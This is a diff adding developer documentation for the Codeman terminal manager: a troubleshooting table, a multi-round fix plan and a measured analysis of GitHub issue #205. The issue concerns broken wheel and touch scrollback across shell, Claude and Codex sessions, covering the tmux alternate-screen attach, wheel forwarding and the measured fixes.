+Explicitly later: proactive predict-on-idle, auto-compaction of the prompt history into goals, non-Claude capture. See the phases section of [`readmymind-plan.md`](readmymind-plan.md).
+
+## Troubleshooting
+
+| Symptom | Cause / fix |
+| ------- | ----------- |
+| No 🧠 button in the header | `readMyMindEnabled` is OFF (App Settings → Header & Panels → Cross-session features), you are on a phone (there it is a key on the keyboard accessory bar instead, visible while typing), or the active session is not claude-mode |
+| Prediction feels generic | The profile is thin: record goals (PUT or ask your agent to), and let capture accumulate a few real prompts first |
+| "A prediction is already running" (409) | One per session at a time; wait for the current one (up to 90 s) |
+| Prediction fails (502) | The model returned no usable JSON, or the CLI could not start; retry. Check `readMyMindModel` if you overrode it |
+| Profile stays empty although I am prompting | `readMyMindEnabled` was OFF at the time (capture is not retroactive), the session is not claude-mode, or hooks are not reaching the server (Docker case on a loopback bind without `CODEMAN_DOCKER_BRIDGE_HOOKS=1`, or a remote-SSH case) |
+| Short answers I typed are missing | Entries under 3 characters are filtered by design (menu digits, Esc artifacts) |
+| My goals text vanished after an agent wrote to it | PUT replaces the whole text; the skill tells agents to read + merge, but a blind write wins. Re-state the goals; consider phrasing them in the session so capture keeps the evidence |
+| Two profiles for what I think is one case | Different owners in multi-user mode, or genuinely different directories; paths are realpath-resolved, so symlink spellings converge but distinct checkouts do not |
+| `400 INVALID_INPUT` on PUT | Goals over 8192 chars, or an extra field in the body (strict schema) |

+# Scrollback fix plan (issue #205)
+
+Status: IMPLEMENTED on `fix/scrollback-shell-alt-screen` (2026-08-07), with one deliberate
+divergence from the recommendation below. Kept for the diagnosis record; the measured evidence
+behind it is `docs/scrollback-issues-analysis.md`, and the mechanisms as shipped are documented
+in `docs/architecture-invariants.md` (§ Full-scrollback replay, § Terminal scrollback: strip
+flavors and wheel/touch forwarding).
+
+What shipped vs. what this doc proposed:
+
+- **Bug A (deltaMode)**: implemented as specified (`_wheelScrollLines()` normalizes
+  line/page/pixel units, Shift-axis trap kept).
+- **Bug B (shell scrollback)**: implemented via the NARROW alt-screen strip for tmux-backed
+  shell/opencode/antigravity plus the scroll-to-top `full=1` re-pull, NOT the recommended
+  approach (a) `tmux mouse on`. The measurements in the analysis doc showed the alt buffer
+  comes from tmux's own client-side `smcup` at attach (tmux never forwards a pane program's
+  alt-screen toggles), so stripping that one sequence fixes both symptoms with no selection
+  tradeoff, keeps vim/less/htop untouched, and the re-pull also covers the repaint-burst
+  history loss that `mouse on` would not have addressed.
+- **Invariant change**: the "viewport-at-bottom gate stays" invariant below was deliberately
+  DROPPED for forwarding modes: a repaint-mode CLI keeps no real terminal scrollback, so the
+  gate pinned users to a buffer of stale frames whenever the viewport parked off-bottom.
+  Forwarding now snaps to bottom first; Shift+wheel and the opt-out setting keep local
+  scrollback reachable. Touch forwards through the same gate (the mobile half of the fix).
+- **Finding 5 (remote probe)**: implemented (`probeRemoteCliVersion` over ssh, deferred at
+  session start, same login-shell wrapper as the launch).
+
+## RETEST FAILED (2026-08-07, after v1.12.0 shipped) — analysis round 2
+
+mtiller retested on 1.12.0 and reports it is NOT fixed (issue #205 comment, 2026-08-07 12:12 UTC;
+issue reopened same day with clarifying questions: mouse vs trackpad, Shift+scroll behavior,
+Claude vs shell session on the phone, and an iOS full-tab-kill to rule out stale JS). Two
+failure signatures, now analyzed against the SHIPPED 1.12.0 code (not the pre-fix code):
+
+1. **iPhone Safari (Claude session assumed)**: touch scrollback goes back only a limited
+   amount and sometimes REPEATS blocks of text; unreliable.
+2. **Firefox on macOS (mouse)**: wheel does NOTHING at all, while Fn+Up (= PageUp) pages back
+   through INTACT text.
+
+### Ruled out by code reading
+
+- deltaMode mishandling: `_wheelScrollLinesFloat` normalizes line/page/pixel units correctly;
+  a Firefox line-mode notch yields ±3 lines. Not the bug.
+- Ephemeral transport: `_sendInputEphemeral` (app.js) has a POST fallback when WS is down.
+- Service worker: sw.js is network-first with cache fallback; it serves stale JS only when the
+  fetch FAILS (flaky mobile connection can do this — relevant to "unreliable" on the phone,
+  and the fixed `CACHE_NAME = 'codeman-v1'` never invalidates that offline copy).
+
+### The load-bearing observation: PageUp works, the wheel does not
+
+Fn+Up is a KEYBOARD event: xterm encodes PageUp and Claude pages its own transcript (intact
+text proves Claude-side history is fine and the PTY input path is fine). The wheel path is the
+capture-phase handler, and for a Claude session it has exactly two branches:
+
+- **Forwarding branch** (`_shouldForwardWheelToApp` true): snap-to-bottom + SGR reports. If
+  this branch ran, the user would see the same paging motion Fn+Up produces. They see nothing.
+- **Local branch** (gate false): `_smoothScrollBy` over xterm's local buffer. For a Claude
+  pane in repaint mode, tmux keeps `history_size≈0`, so `?full=1` returns roughly one frame:
+  the local buffer is structurally HOLLOW, the top-of-buffer re-pull recovers nothing, and the
+  wheel looks completely dead. **This matches every observed detail on Firefox.**
+
+So the working hypothesis is that mtiller's sessions evaluate the gate FALSE. The gate
+(`_shouldForwardWheelToApp`) has exactly four false-paths worth checking, in likelihood order:
+
+1. **`terminalWheelLocalScrollback` opt-out is ON.** Plausible: a user whose scrolling was
+   broken on 1.11.x may well have toggled "Wheel scrolls local history" while trying to fix
+   it. On 1.12.0 that setting now routes the wheel to a hollow local buffer = dead wheel on
+   desktop AND the stale-repaint-frames experience on the phone (see below). Ask, or check
+   what the setting does on their export.
+2. **`cliVersion` missing — CONFIRMED BUG, independent of whether it is mtiller's**:
+   `getClaudeCliVersion()` (utils/claude-cli-resolver.ts:124-148) caches its result
+   process-wide including FAILURE: on any exception it sets `_claudeVersion = null`, and the
+   guard is `!== undefined`, so a single failed/timed-out probe (5s `EXEC_TIMEOUT_MS`; PATH
+   under systemd/launchd; transient fs hiccup) at the FIRST Claude session start disables
+   wheel forwarding for every Claude session until the server restarts. Fix: cache success
+   permanently, but let failure retry (retry on next call, or a short negative-cache TTL).
+   Note that mtiller sees identical breakage on phone + iPad + laptop, which points at a
+   SERVER-side/session-side cause exactly like this (cliVersion is shared by all devices)
+   rather than anything browser-specific.
+3. **Claude Code genuinely < 2.1.187** on their machine: gate false BY DESIGN, but the
+   resulting UX is a dead-end (no local history to fall back on).
+4. mouseTrackingMode non-none (a DECSET leaked past the strip, e.g. emitted before attach or
+   split across chunks in a way the carry missed): would also kill the container handler via
+   the early return. Least likely, checkable via `terminal.modes.mouseTrackingMode` in console.
+
+### The iPhone symptoms fit the same gate-false story
+
+Touch with gate false = local `scrollLines()` over whatever repaint frames accumulated:
+"repeats blocks of text" is literally what a buffer of successive overlapping repaint frames
+looks like; "limited amount" is its thinness; "unreliable" is burst-dependence (finding 2)
+PLUS the new re-pull being actively DESTRUCTIVE for repaint panes: `_maybeRefetchFullHistory`
+does `_resetTerminalForReplay()` then writes the fetched capture, and when that capture is
+one frame (Claude pane, `history_size≈0`) it REPLACES a multi-frame buffer with less than the
+user had, mid-scroll. Stale pre-1.12 JS on the phone (suspended Safari tab) remains possible
+until they confirm the tab kill.
+
+### Fix directions, ranked
+
+1. **Make the re-pull refuse downgrades** (`_maybeRefetchFullHistory`, app.js): if the fetched
+   capture would yield FEWER buffer rows than currently present, skip the reset+rewrite and
+   keep the richer buffer (optionally cache-mark the session "re-pull useless"). Small, safe,
+   kills the "got worse after scrolling to top" class. Consider skipping the re-pull entirely
+   for forwarding-capable modes where tmux keeps no history.
+2. **Rescue the gate-false Claude dead-end with PageUp forwarding**: when mode is `claude`,
+   the gate is false, AND the local buffer has no scrollback (`baseY === 0`), translate wheel
+   lines into coalesced PageUp/PageDown key sends (mtiller just proved Claude pages correctly
+   on PageUp even on their version). Zero regression risk under that triple guard: sessions
+   with real local history keep local scrolling; only the currently-dead path changes.
+   Caveat: older Claude menus may react to PageUp; acceptable against "completely dead".
+3. **Audit `getClaudeCliVersion()` failure caching** (utils/claude-cli-resolver.ts): a cached
+   empty probe must retry (with backoff), not poison the process.
+4. **Guard the opt-out setting's footgun**: if `terminalWheelLocalScrollback` is ON for a
+   repaint-mode CLI session, local history is hollow; either scope the setting's effect to
+   modes with real local scrollback, or pair it with fix 2's PageUp fallback so it still
+   scrolls SOMETHING.
+5. **Add a one-line gate diagnostic**: log (once per session, console) WHY the wheel chose
+   local vs forward: `{mode, cliVersion, optOut, trackingMode}`. The #205 thread is now two
+   rounds deep on guesswork a single console line would have answered.
+
+### What shipped for round 2 (branch `fix/scrollback-205-round2`)
+
+All five directions above, implemented as ranked:
+
+1. **Downgrade guard** — `_replayWouldShrinkBuffer()` (terminal-ui.js) estimates the rows a
+   capture will occupy (ANSI stripped, `capture-pane -J` re-wrapping accounted for) and
+   `_maybeRefetchFullHistory` (app.js) skips the reset+rewrite when that is more than one
+   screen short of what xterm already holds. A refused session goes on
+   `_fullHistoryRepullUseless`, which raises its re-pull cooldown from 4s to 60s so a hollow
+   pane stops re-fetching. Measured A/B on a live Claude pane, same gesture, same buffer:
+   guard off → 341 rows collapse to 42 and every seeded row is gone; guard on → 341 rows
+   preserved. The tab-switch recovery it must not break still runs (shell buffer 401 → 44 on
+   a tab switch → 401 again after scrolling to the top).
+2. **PageUp/PageDown fallback** — `_maybePageCliTranscript()` translates wheel/touch travel
+   into coalesced `\x1b[5~` / `\x1b[6~` under the triple guard (claude mode, forwarding gate
+   false, `baseY === 0`), through the same 40ms queue as the SGR reports. Half a screen of
+   travel per page: the page key always jumps a whole screen, and a 1:1 mapping was
+   unusably slow with a discrete wheel. Shift is excluded — it keeps meaning "local
+   scrollback". Verified live: opt-out ON on a Claude session sends real PageUp/PageDown to
+   the PTY where the wheel previously did nothing.
+3. **Probe caching** — `getClaudeCliVersion()` no longer caches failure. Success is kept for
+   the process lifetime; a failed probe retries with a 1/2/4…15min backoff. The cache policy
+   is a pure function (`resolveClaudeCliVersion`) so the retry semantics are unit-testable
+   without spawning `claude`. The VITEST short-circuit now records nothing, where before it
+   wrote a permanent null.
+4. **Opt-out footgun** — handled by pairing rather than by scoping: the setting keeps meaning
+   exactly what it says (the wheel goes local), and fix 2 catches the case where "local" is
+   empty. Scoping the setting away from repaint-mode CLIs would have silently overridden an
+   explicit user choice. The App Settings tooltip now says to leave it off for Claude/Codex.
+5. **Diagnostic** — `_logScrollRouting()` prints one line per session per distinct decision:
+   `[scroll] <id> → forward-sgr|page-keys|local-scrollback|repull-refused-downgrade (mode=…,
+   cliVersion=…, localScrollbackOptOut=…, mouseTracking=…, localScrollbackRows=…)`. That
+   single line answers every open question in the list below.
+
+Still unanswered by code alone: whether mtiller's Claude Code is genuinely older than
+2.1.187 (false-path 3), and whether the iPhone was running stale JS. The diagnostic makes
+both self-reporting, so the retest ask is now "open the console and paste the `[scroll]` line".
+
+### What to get from mtiller (some already asked)
+
+- Shift+scroll behavior on Firefox (distinguishes hollow-local from handler-not-firing).
+- `claude --version` on the Mac (decides false-paths 2 vs 3).
+- App Settings → Input → "Wheel scrolls local history" state (false-path 1).
+- iPhone: Claude or shell session, and whether a full tab kill changes anything.
+- Browser console: `app.terminalUi?.terminal?.modes?.mouseTrackingMode` (false-path 4).
+
+## ROUND 3 (2026-08-09): Codex wheel dead — CONFIRMED AND FIXED
+
+DodgyBadger (Codex latest, Chrome, Windows 11): mouse wheel does nothing in a CODEX session
+while working fine in shell and web tabs; DRAGGING THE SCROLLBAR WORKS, so xterm's local
+buffer demonstrably has content for their codex pane. Analysis against the shipped code:
+
+- `_shouldForwardWheelToApp` returns true UNCONDITIONALLY for `codex` (no version gate, unlike
+  claude's `>= 2.1.187`), so every plain wheel tick is sent as SGR reports to Codex.
+- The "verified to scroll its transcript on SGR wheel reports" claim for codex predates
+  current Codex builds; if Codex latest ignores SGR wheel, forwarding eats the gesture while
+  the healthy local scrollback (proven by the working scrollbar) sits unused.
+- The #227 PageUp fallback cannot rescue this: it is gated to `claude` mode AND `baseY === 0`,
+  and codex here has real local scrollback. The `[scroll]` diagnostic will still say
+  `forward-sgr (mode=codex, ...)`, confirming the branch, worth asking the reporter to paste.
+
+**CONFIRMED by the reporter's `[scroll]` line (2026-08-09, PR #227 comment)**:
+`forward-sgr (mode=codex, cliVersion=unknown, localScrollbackOptOut=false, mouseTracking=none,
+localScrollbackRows=967)`. Forwarding branch active, 967 rows of healthy local scrollback
+unused, Codex ignoring the SGR reports. Environment: Codex latest, Chrome, Windows 11.
+
+**Measured against codex-cli 0.147.0** (isolated `tmux -L codexwheel`, fake `CODEX_HOME/auth.json`,
+history built with 401ing prompts), which settles it without needing a version gate at all:
+
+| Probe                                          | Result                                          |
+| ---------------------------------------------- | ----------------------------------------------- |
+| `#{mouse_any_flag}` once the TUI is up         | `0`: codex never enables mouse tracking         |
+| `#{alternate_on}`                              | `0`: inline viewport, not an alt-screen pager   |
+| `#{history_size}` while prompting              | grows 3 → 32: the transcript goes to scrollback |
+| 6 × `\x1b[<64;10;10M` written to the pane      | pane capture byte-identical, nothing happens    |
+| control: literal `zz`                          | pane changes, so the probe can see changes      |
+| `\x1b[<0;12;5M` + release (the click-tap path) | no change either: taps are no-ops, not garbage  |
+
+Codex has no in-app pager to drive: its history lives in the terminal's own scrollback, which is
+exactly what forwarding was stealing the gesture from. A version gate would be the wrong fix (and
+`cliVersion=unknown` means there is no codex probe to gate on anyway).
+
+**Fix (shipped):** `_shouldForwardWheelToApp` now returns true for `claude >= 2.1.187` and nothing
+else. Codex falls to the normal local-scrollback path like shell/gemini/opencode, so wheel and touch
+scroll the same history the scrollbar drag was already scrolling. The claude-only PageUp fallback is
+untouched: codex never needs it, its local buffer is real. Taps stay hand-encoded for codex
+(`_sessionUsesServerMouseStrip`), measured harmless, so click-to-position is merely unavailable
+there rather than damaging. Lesson for the next mode added to the forward list: "it is a strip mode"
+proves nothing, write a real SGR report into a live pane and diff the capture first.
+
+Verified end-to-end in Chromium against a live codex session on an isolated instance
+(`CODEMAN_INSTANCE=codexwheel`, port 5055, `envOverrides.CODEX_HOME` pointing at the fake auth
+dir): trusted `page.mouse.wheel` up now logs
+`[scroll] … → local-scrollback (mode=codex, …, localScrollbackRows=43)`, moves the viewport
+39 → 4 (back to the Codex banner), and sends ZERO bytes to the PTY. Unit coverage:
+`test/terminal-touch-tap.test.ts` ("only claude forwards — codex and gemini keep the local wheel").
+
+Original plan follows.
+
+## Reports
+
+- **Issue #205** (https://github.com/Ark0N/Codeman/issues/205), OPEN:
+  - **jonocodes** (author, 2026-08-03): SHELL session. Host Mac M4, brew tmux. On Android, touch-scrolling the terminal does nothing. On desktop, the mouse wheel cycles shell command history (acts like Up/Down arrows) instead of scrolling the screen.
+  - **mtiller** (comment, 2026-08-06): "similar issue just with scrolling backward to see agent output. This is with Firefox on MacOS." (Claude session implied.)
+- **Reddit r/selfhosted** comment `p21x6ts` by mmtiller (= mtiller on GitHub): scrolling broken enough across phone/iPad/laptop that they fall back to Claude's own remote-control feature. Churn-risk user who otherwise loves the product; fixing this has promo value beyond the bug itself.
+
+## How scrolling works today (read this before touching anything)
+
+Three independent paths, all in `src/web/public/terminal-ui.js` unless noted:
+
+1. **Desktop wheel** (container `wheel` listener, ~line 421): ALWAYS `preventDefault()`s, then either
+   - forwards synthetic SGR wheel reports to the app (`_sendSyntheticSgrWheel`, coalesced every 40ms, fire-and-forget) when `_shouldForwardWheelToApp(ev)` (~line 2823) passes: no Shift held, opt-out setting `terminalWheelLocalScrollback` off, xterm `mouseTrackingMode === 'none'`, session mode is `claude` with `cliVersion >= 2.1.187` or `codex`, and viewport is at bottom;
+   - otherwise scrolls xterm's LOCAL scrollback via `terminal.scrollLines(lines)`.
+   - `lines` comes from `_wheelScrollLines(ev)` (~line 2818): `delta / 25`, i.e. it assumes PIXEL deltas.
+   - NOTE: xterm.js's own internal wheel handler sits on an element INSIDE the container, so it runs FIRST (bubble order) and is not suppressed by the container's `preventDefault`.
+2. **Touch** (touchstart/move/end, ~lines 441-585): converts touch deltas to `terminal.scrollLines()` with momentum. Touch is ALWAYS local-scrollback, never forwarded to the app. Tap-to-position (touchend, ~line 533) is separate and already handles both mouse-tracking-on and server-strip cases.
+3. **Server-side strip** (`_handleTerminalOutput`, `src/session.ts:1384`): for modes in `isAltScreenStripMode()` (`src/session.ts:179` = `codex | claude | gemini`), strips alt-screen switches (`?47/?1047/?1049`), scrollback erase (`3J`), and mouse-tracking DECSETs (`?1000-?1007` except `?1004` focus) so content stays in xterm's normal buffer with scrollback intact. Includes a chunk-boundary carry so split sequences can't leak. `shell` and `opencode` (and `antigravity`) are deliberately EXCLUDED: arbitrary shell programs (vim/less/htop) legitimately need the alt screen. There is a parity copy of this strip on the replay path (`src/web/routes/session-routes.ts`, ~line 1697) and a frontend parity check `_sessionUsesServerMouseStrip()` (terminal-ui.js ~line 2751). All three must stay in sync.
+4. Related: full-scrollback replay (`GET .../terminal?full=1` on first buffer load) fills xterm local scrollback; client scrollback is hardcoded 50k (`DEFAULT_SCROLLBACK`, constants.js) vs tmux 100k.

+`_wheelScrollLines()` divides by 25 assuming `WheelEvent.deltaY` is pixels (`deltaMode === 0`, Chrome/Safari behavior). Firefox commonly fires `deltaMode === 1` (LINE units, deltaY around 1-3 per notch), so `Math.round(3/25) = 0` and the `|| ±1` fallback yields 1 line per event. With a discrete mouse wheel that is 1 line per notch: scrolling feels dead/broken. This hits BOTH the local-scroll path and the forwarded path, since both use the same function.
+
+**Fix**: normalize by `ev.deltaMode` in `_wheelScrollLines()`:
+- `deltaMode 0` (pixels): current behavior, `delta / 25`.
+- `deltaMode 1` (lines): use the delta directly (round, keep sign fallback).
+- `deltaMode 2` (pages): `delta * terminal.rows` (or a sane page size).
+Keep the existing Shift-axis trap intact: on macOS trackpads Shift+two-finger scroll arrives as a HORIZONTAL wheel (deltaX carries the magnitude, deltaY ~0); that's why the function reads deltaX when Shift is held (issue #154). Don't lose it.
+
+**Verify**: don't trust this diagnosis blindly. First reproduce in real Firefox on macOS and log `deltaMode`/`deltaY` (Firefox trackpad input can arrive as pixels; external mouse as lines). Also confirm the session's `cliVersion` probe succeeded (a failed probe disables forwarding entirely, which would point elsewhere). Unit-test by dispatching synthetic `WheelEvent`s with explicit `deltaMode` values; a Playwright `firefox` project pass is the end-to-end check.
+
+### Bug B: shell mode has NO working scrollback at all (jonocodes)
+
+Chain: shell mode is excluded from the alt-screen strip (correctly) → tmux attaches on the alternate screen → xterm's alt buffer has zero scrollback. Consequences:
+- **Wheel**: xterm's own internal wheel handler runs first and, in the alt buffer, converts wheel ticks into Up/Down arrow keys (alternateScroll behavior). The shell receives arrows → command history cycles. That is jonocodes' exact desktop symptom. The container handler's `scrollLines()` afterwards is a no-op (no scrollback in alt buffer).
+- **Touch**: the touch handler's `scrollLines()` is equally a no-op → "scrolling does nothing" on Android. Exact symptom two.
+- The real history exists the whole time in tmux's 100k-line buffer; nothing exposes it.
+
+**Fix, recommended approach (a): enable tmux `mouse on` for shell sessions.**
+- Server-side, set `mouse on` scoped to shell sessions' tmux sessions (`tmux set-option -t <session> mouse on` at create + on attach of recovered sessions). Do NOT set it globally on the socket: claude/codex/gemini sessions rely on the DECSET strip and must not change.
+- What this buys, all natively: tmux enables mouse tracking on the outer terminal → xterm `mouseTrackingMode` goes non-none → the container handler stands down (line ~2830 check) and xterm's own encoder forwards wheel as SGR reports → tmux scrolls its OWN copy-mode history on wheel-up, auto-exits at bottom. The alt-scroll arrow conversion disappears too (tracking mode takes precedence). Desktop is fully fixed with no new endpoints.
+- **Touch**: still needs one small client change: in the touchmove path, when the active session is `shell` AND `mouseTrackingMode !== 'none'`, convert accumulated lines to `_sendSyntheticSgrWheel(x, y, lines)` instead of `scrollLines()`. The 40ms coalescing already prevents the tmux process storm (each send is a tmux send-keys server-side; unbatched flicks would spawn dozens of processes: this constraint is documented at `_sendSyntheticSgrWheel`, do not bypass it).
+- **Selection tradeoff to verify**: with tracking on, xterm hands drag events to tmux instead of doing local browser selection. Shift+drag still does local selection (xterm shift-override). Verify this UX on desktop before shipping; if it's unacceptable, fall back to approach (b).
+- **Also verify**: vim/less/htop inside the shell still behave (they'll now receive real mouse events via tmux, generally an improvement); remote shell sessions run tmux on the REMOTE host (`tmux -L codeman-remote`) and need the same option set there if remote shells are in scope (fine to defer, note it in the changeset if skipped).
+
+**Fallback approach (b), only if (a)'s selection tradeoff fails testing**: keep mouse off; when a shell session is in the alt buffer, have the client send scroll intents to a small server endpoint that drives `tmux copy-mode -e -t <pane>` + `send-keys -X -N <n> scroll-up/down`. Preserves selection semantics exactly, but needs a new endpoint, server-side batching, AND suppression of xterm's native alt-scroll arrow conversion (capture-phase wheel listener with `stopPropagation`, or `attachCustomWheelEventHandler` if the vendored xterm version has it). More moving parts; (a) should be tried first.
+
+**Not acceptable**: adding `shell` to `isAltScreenStripMode()`. vim/less/htop need the alt screen; that exclusion is deliberate and documented.
+
+### Bug C: mtiller's phone/iPad case — UNREPRODUCED, do not guess
+
+Touch is always-local by design, and Claude sessions keep content in the normal buffer (strip), so touch scrollback "should" work there. Before coding anything: build a repro matrix (iPhone Safari / iPad Safari / Android Chrome × claude / shell) on the current release. Plausible candidates if it does reproduce: auto-scroll-to-bottom fighting user scrolls (`_noteTerminalUserScroll`, ~line 2004), or they were in shell sessions on mobile too (then Bug B covers it). Ask mtiller on #205 for session mode + Codeman version if the matrix comes up clean.
+
+## Invariants the implementation MUST respect
+
+- Shift+wheel always scrolls local scrollback; the trackpad Shift-axis handling from #154 stays.
+- The `terminalWheelLocalScrollback` opt-out setting keeps working (pins plain wheel to local).
+- The viewport-at-bottom gate stays: once the user scrolled up locally, wheel stays local until they return to bottom.
+- 40ms SGR coalescing: never send per-event writes to the server.
+- Strip parity triangle: `session.ts` live strip ↔ `session-routes.ts` replay strip ↔ `_sessionUsesServerMouseStrip()` in the frontend. If you touch mode lists, update all three.
+- Don't add `opencode`/`antigravity` to any strip/forward list; their TUI wheel behavior is unverified (documented at `_shouldForwardWheelToApp`).
+- The chunk-boundary sequence carry in `_handleTerminalOutput` must not be weakened.
+
+## Testing (per repo rules)
+
+- `npm test -- test/<file>.test.ts` only; never bare `npm test`. New test ports 3150+, never 3000.
+- Browser-test traps (documented in CLAUDE.md Testing): drive input/scroll through real events (`page.mouse.wheel`, real touch), not app internals; headless Chromium reports `isTouchDevice()` false even with `hasTouch: true`; assert on real state (xterm viewport position, `tmux -L codeman capture-pane`), not HTTP 200.
+- Shell-mode E2E: create a throwaway shell session, `seq 1 500`, then (1) wheel up on desktop shows earlier lines, not history cycling; (2) touch-scroll on a phone shows earlier lines; (3) `vim` + `less` still enter/leave the alt screen cleanly; (4) Shift+drag still selects text.
+- Firefox E2E: Playwright `firefox` project, wheel over a Claude session's finished output, assert viewport moved more than 1 line per notch.
+- End-to-end against the REAL environment before claiming done (standing user rule). w1/w2/w3 tmux sessions are the user's live sessions: never send input to them; create your own throwaway session and DELETE it by exact id when done.
+
+## Related observation (not a reported bug, worth a look while in there)
+
+The `claude --version` probe that feeds the forwarding gate runs only for local and docker sessions (`src/session.ts:1490` gates `!this._remote`; docker handled at :1507). Remote Claude sessions therefore never get `cliVersion` and silently keep local-only wheel. Harmless (local scrollback works) but inconsistent; cheap to fix by probing over ssh, or document as intended.

+# Scrollback issues: analysis and test evidence
+
+Covers GitHub issue **#205** ("Scrollback in terminal not working", jonocodes, shell mode,
+Android + macOS desktop) and the follow-up comment on it from **mtiller** (Firefox on macOS,
+"scrolling backward to see agent output"). Related closed issue: **#154** (fixed in 1.3.3).
+
+Status: **analysis only, nothing implemented.** Measured against the live 1.11.2 instance on
+2026-08-06 with throwaway `zz-*` shell sessions (all deleted afterwards; the user's `w*`
+sessions were never touched).
+
+---
+
+## TL;DR
+
+Five distinct problems, not one. #205 is fully explained by finding 1; findings 2 and 3 are
+independent and hit **every** mode including Claude, and are the likely substance of the
+"similar issue" follow-up.
+
+| # | Problem | Modes affected | Severity | Confirmed |
+| - | ------- | -------------- | -------- | --------- |
+| 1 | xterm parked in the **alternate buffer** for the whole session, so there is no scrollback at all and the wheel is translated into Up/Down arrow keys | `shell`, `opencode`, `antigravity` | High | Reproduced end to end |
+| 2 | **Bursty output silently destroys a screenful** of the browser's scrollback and adds ~1 row | all | High | Measured |
+| 3 | **Tab switch collapses scrollback** to roughly one screen (`full=1` fires once per page load) | all | Medium | Measured |
+| 4 | `deltaMode` is never read, so Firefox scrolls ~4x slower per notch | all, Firefox | Low | Static, needs reporter data |
+| 5 | **Remote SSH Claude cases get no `claude --version` probe**, so wheel forwarding silently stays off (residual #154) | `claude` + remote | Medium | Static |
+
+---
+
+## Finding 1: shell / opencode / antigravity are stuck in xterm's alternate buffer
+
+### Root cause
+
+The local tmux **client** (the `tmux attach` that node-pty spawns) emits `smcup` as its very
+first bytes on attach. Captured from a real PTY:
+
+```
+b'\x1b[?1049h\x1b[22;0;0t\x1b[?1h\x1b=\x1b[H\x1b[2J\x1b[?12l\x1b[?25h\x1b[?1000l...'
+ ^^^^^^^^^^ enter alternate screen              ^^^^^ application cursor keys ON
+```
+
+`Session._handleTerminalOutput()` strips `\x1b[?1049h` from the live stream, but only when
+`isAltScreenStripMode(mode)` is true, and that is `claude | codex | gemini` only
+(`src/session.ts:179`). For `shell`, `opencode` and `antigravity` the sequence reaches the
+browser verbatim and xterm switches to the alternate buffer, where:
+
+1. `buffer.active.type === 'alternate'` and `baseY` is pinned at 0, so there is **no
+   scrollback to reach**. `terminal.scrollLines()` is a no-op, which is why touch scrolling
+   on Android "does nothing".
+2. xterm's own wheel listener takes over. From the vendored bundle
+   (`src/web/public/vendor/xterm.min.js`):
+
+   ```js
+   if (!this.buffer.hasScrollback) {
+     if (ev.deltaY === 0) return false;
+     if (coreMouseService.consumeWheelEvent(...) === 0) return this.cancel(ev, true);
+     const seq = ESC + (decPrivateModes.applicationCursorKeys ? 'O' : '[') + (ev.deltaY < 0 ? 'A' : 'B');
+     coreService.triggerDataEvent(seq, true);
+     return this.cancel(ev, true);
+   }
+   ```
+
+   tmux also set `\x1b[?1h`, so the emitted sequence is `\x1bOA`, i.e. **Up arrow**, straight
+   into the shell's readline. That is exactly the reported "the mouse wheel scrolls back
+   through previous commands, like pressing up".
+
+3. `cancel(ev, true)` calls `preventDefault()` **and `stopPropagation()`**, and xterm's
+   listener sits on `terminal.element` (a child of Codeman's container). So Codeman's own
+   container wheel handler, `_shouldForwardWheelToApp` and `_wheelScrollLines` included, is
+   **never reached** for these modes. That whole path is dead code for shell.
+
+### Reproduction (live instance, real browser)
+
+Create a shell session with the page already open, print 150 lines, then dispatch 8 wheel-up
+events over `.xterm-screen`:
+
+```
+t+1500 after shell start       {"type":"alternate","length":35,"baseY":0}
+t+3000 after shell start       {"type":"alternate","length":35,"baseY":0}
+after 150 live lines           {"type":"alternate","length":35,"baseY":0}
+WHEEL on live shell: {"ptyBytes":["OA","OA","OA","OA",
+                                  "OA","OA","OA","OA"],
+                     "before":0,"after":0,"type":"alternate"}
+```
+
+Both reported symptoms, one root cause.
+
+### Why it looks intermittent
+
+The alternate-screen sequence only ever reaches the browser through the **live stream at
+attach**. Neither replay path carries it:
+
+- `?full=1` returns `capture-pane` output (`source: mux-full-history`), verified 0 hits for
+  `\x1b[?1049h`.
+- `?tail=` returns the visible pane frame (`source: mux-visible`), also 0 hits; the shell byte
+  buffer was empty in every probe.
+- `_resetTerminalForReplay()` calls `terminal.reset()`, which returns xterm to the normal
+  buffer.
+
+So: watching a shell from creation leaves you in the alternate buffer until you reload or
+switch tabs, at which point it silently starts working again. Then the next PTY attach (a
+restart, or the auto-reattach in `selectSession()`) puts you back.
+
+### Is stripping safe for shell? Probably yes when tmux-backed, and the current code comment is wrong about why
+
+`src/session.ts:1404` says *"shell must keep the alt screen for vim/less/htop"*. For a
+**tmux-backed** shell that reasoning does not hold: tmux is a full terminal emulator and never
+forwards a pane's alternate-screen toggles to its client, it repaints instead. Measured per
+phase on a real attach:
+
+| phase | bytes | `?1049h` | `?1049l` | `?47/1047` |
+| ----- | ----: | -------: | -------: | ---------: |
+| attach | 772 | **1** | 0 | 0 |
+| `seq 1 60` echo | 1402 | 0 | 0 | 0 |
+| `less` open / end / quit | 284 / 230 / 321 | 0 | 0 | 0 |
+| `vim` open / quit | 2200 / 646 | 0 | 0 | 0 |
+
+`vim` and `less` inside tmux emit **zero** alternate-screen sequences to the client.
+
+The caveat that does matter: `startShell()` falls back to a **direct PTY with no tmux** when
+mux creation fails (`src/session.ts:1961`, `this._useMux = false`). In that path the inner
+app's own `?1049h` does reach xterm, and a blanket strip would break vim/less/htop for real.
+Any fix has to be conditional on `_useMux`, which is known server-side.
+
+Second caveat: stripping alone buys less than it looks like, because of finding 2. It fixes
+the wheel (no more phantom Up arrows) and it makes the `full=1` replay reachable, but live
+output still will not accumulate.
+
+---
+
+## Finding 2: bursty output silently overwrites a screenful of browser scrollback
+
+Independent of the alternate buffer, and it hits Claude sessions too.
+
+tmux decides per flush whether to emit real linefeeds (which push rows into the outer
+terminal's scrollback) or to repaint the pane rectangle with cursor addressing (which
+overwrites the visible rows in place). When output outpaces its flush interval it coalesces
+into a repaint, and one screenful of the browser's history is **destroyed**.
+
+Measured on one session, same page, `rows = 36`:
+
+| step | `baseY` | rows containing SEED | BURST | SLOW |
+| ---- | ------: | -------------------: | ----: | ---: |
+| after `?full=1` replay (120 seeded lines) | 86 | 120 | 0 | 0 |
+| after 60 lines emitted as fast as possible | **87** (+1) | **86** (-34) | 35 | 0 |
+| after 60 lines at ~16/s (`sleep 0.06`) | **148** (+61) | 86 | 35 | 60 |
+
+The burst added **one** row of scrollback and ate **34** rows of existing history. The slow
+run behaved correctly. So "I printed a bunch of lines and now I cannot scroll back" reproduces
+without the alternate buffer being involved at all, and it is rate dependent, which is exactly
+the kind of thing that reads as random flakiness.
+
+Consequence: the browser's scrollback is effectively frozen at whatever the last `?full=1`
+replay produced, minus a screen per burst. tmux's own history is fine throughout
